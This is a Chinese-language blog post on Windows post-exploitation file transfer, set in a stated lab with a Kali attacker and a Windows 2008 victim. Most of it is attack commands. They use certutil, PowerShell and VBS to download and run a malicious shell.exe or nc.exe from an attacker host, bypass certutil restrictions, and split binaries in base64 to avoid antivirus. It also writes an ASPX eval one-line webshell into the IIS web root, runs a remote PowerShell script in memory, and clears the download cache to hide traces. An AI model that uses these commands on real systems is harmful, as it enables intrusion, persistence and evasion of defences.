後滲透下載文件(Windows)

後滲透下載文件(Windows)

作者 : Noth 

前言 :
拿到 webshell 後,接下來就是要想辦法提權了 xD,首先一定要可以上傳到對方主機上,常常從外網 VPS 上面的惡意 binary 下載到目標主機上去執行,這一篇最主要就是針對 windows 後滲透下載的手法來介紹。

常⾒內建可傳檔程式下載 : 
certutil、bitsadmin、regsvr32、scp、Powershell 

certutil 下載 : 

參數
-f :
覆蓋現有文件,後面跟要下載的文件url。

-split :
保存到文件,加了的話就可以下載到當前路徑,不加就下載到了默認路徑。
-URLCache : 
顯示或删除URL緩存條目 (certutil.exe 下載有個弊端,它的每一次下載都有留有緩存)。

實作環境 : 
attacker -> victim
攻擊者 : 192.168.179.144 , kali , 開啟 SimpleHTTPServer
受害者 : 192.168.179.145 , windows 2008

下載 : 
1. 保存在當前路徑,文件名稱和下載文件名稱相同
certutil  -urlcache  -split  -f  http://vps'ip/shell.exe

2. 保存在當前路徑,指定保存文件名稱
certutil  -urlcache  -split  -f  http://vps'ip/shell.exe  noth.exe (新名稱)

3. 指定保存路徑 , 文件名稱和下載名稱相同
certutil  -urlcache  -split  -f  https://vps'ip/shell.exe  C:\windows\temp\shell.exe

4. bypass certutil (使用一次 certutil 被限制住,使用兩次 bypass)
certutil & certutil -urlcache -split -f https://vps'ip/shell.exe
certutil | certutil -urlcache -split -f  https://vps'ip/shell.exe  

5. base64 加解密
certutil -encode shell.exe shell.txt

certutil -decode shell.txt  shell.exe

6. 利用 base64 加解密技巧滲透(binary為例子, 這裡以 nc 為例子)
certutil -encode nc.exe nc.txt (本地端將 nc.exe -encode nc.txt)

copy c:\windows\temp\*.txt c:\windows\temp\nc.txt (使用 notepad++ 將nc.txt 分成幾段,上傳到受害者主機在合併)

certutil -decode c:\windows\temp\nc.txt nc.exe (nc.txt -decode 回 nc.exe)


7. 利用 base64 加解密技巧滲透 (一句話 Webshell 為例子)
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["shell"],"unsafe"));%>

echo '<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["shell"],"unsafe"));%>' | base64 -w 0 (本地端進行 base64encode)


寫入文件到 Web 絕對路徑
echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiIHZhbGlkYXRlUmVxdWVzdD0iZmFsc2UiICU+PCVSZXNwb25zZS5Xcml0ZShldmFsKFJlcXVlc3QuSXRlbVsic2hlbGwiXSwidW5zYWZlIikpOyU+Cg== > C:\inetpub\wwwroot\shell.txt


certutil -f -decode "C:\inetpub\wwwroot\shell.txt" "C:\inetpub\wwwroot\shell.aspx" (base64decode 檔案回來 webshell)

連接 webshell

主動清除 cache : 
certutil -urlcache * delete

PowerShell 下載 :

1. 下載文件到當前目錄
powershell -exec bypass -c "(new-object system.net.webclient).downloadfile('http://ip/shell.exe','shell.exe')";


2. 下載文件到指定目錄 : 
powershell -exec bypass -c "(new-object system.net.webclient).downloadfile('http://ip/shell.exe','C:/windows/temp/shell.exe')";

3. cmd窗口下載文件並執行 exe : 
powershell -exec bypass (new-object system.net.webclient).downloadfile('http://ip/shell.exe','noth.exe');start-process noth.exe

4. cmd 窗口 , 直接執行網路上 ps1 腳本 , 可避免檔案落地後遭防毒軟體偵測隔離(直接執行) : 
powershell -exec bypass -c "iex(new-object system.net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');invoke-AllChecks"

echo 下載 : 

第一種 :
victim (創建vbs下載檔案) : 
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://vps'ip/shell.exe",0 >>download.vbs  (修改 vps'ip)
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\windows\temp\shell.exe",2 >>download.vbs  (修改保存路徑)

victim執行 : 
Cscript download.vbs

第二種 : 
victim(一行命令創建 vbs) :
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs

執行 : 
cscript downfile.vbs http://attack'ip:1055/nc.exe C:\Users\Administrator\Desktop\test\nc.exe




留言

熱門文章